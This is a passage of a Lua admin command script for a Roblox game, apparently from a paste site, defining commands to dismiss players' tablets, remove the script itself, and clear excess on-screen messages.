  2726. ChangeRank(v, 0)
  2727. end)
  2728. end
  2729. end
  2730. end)
  2731. Command("Dismiss All Tabs", {"dall"}, 6, "Dismisses all open Tablets", "No Flags", function(Speaker, Msg)
  2732. for i,v in pairs(Exitium.Services.Players:GetPlayers()) do
  2733. Dismiss(v)
  2734. end
  2735. end)
  2736. Command("Remove Script", {"remv"}, 6, "Removes the Script", "No Flags", function(Speaker, Msg)
  2737. for i,v in pairs(Exitium.Services.Players:GetPlayers()) do
  2738. Dismiss(v)
  2739. end
  2740. script:remove()
  2741. script.Disabled = true
  2742. Exitium = nil
  2743. for i,v in pairs(getfenv(1)) do
  2744. getfenv(1)[i] = nil
  2745. end
  2746. end)
  2747.  
  2748. Exitium.Services.Workspace.descendantAdded:connect(function(a)
  2749. pcall(function()
  2750. x = 0
  2751. for i,v in pairs(Exitium.Services.Workspace:children()) do
  2752. if v.ClassName == 'Message' or v.ClassName == 'Hint' then
  2753. x = x + 1
  2754. end
  2755. end
  2756. if x > MessageLimit then
  2757. for i,v in pairs(Exitium.Services.Workspace:children()) do
  2758. if v.ClassName == 'Message' or v.ClassName == 'Hint' then
  2759. v:remove()
  2760. end
  2761. end
  2762. end
  2763. end)
  2764. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement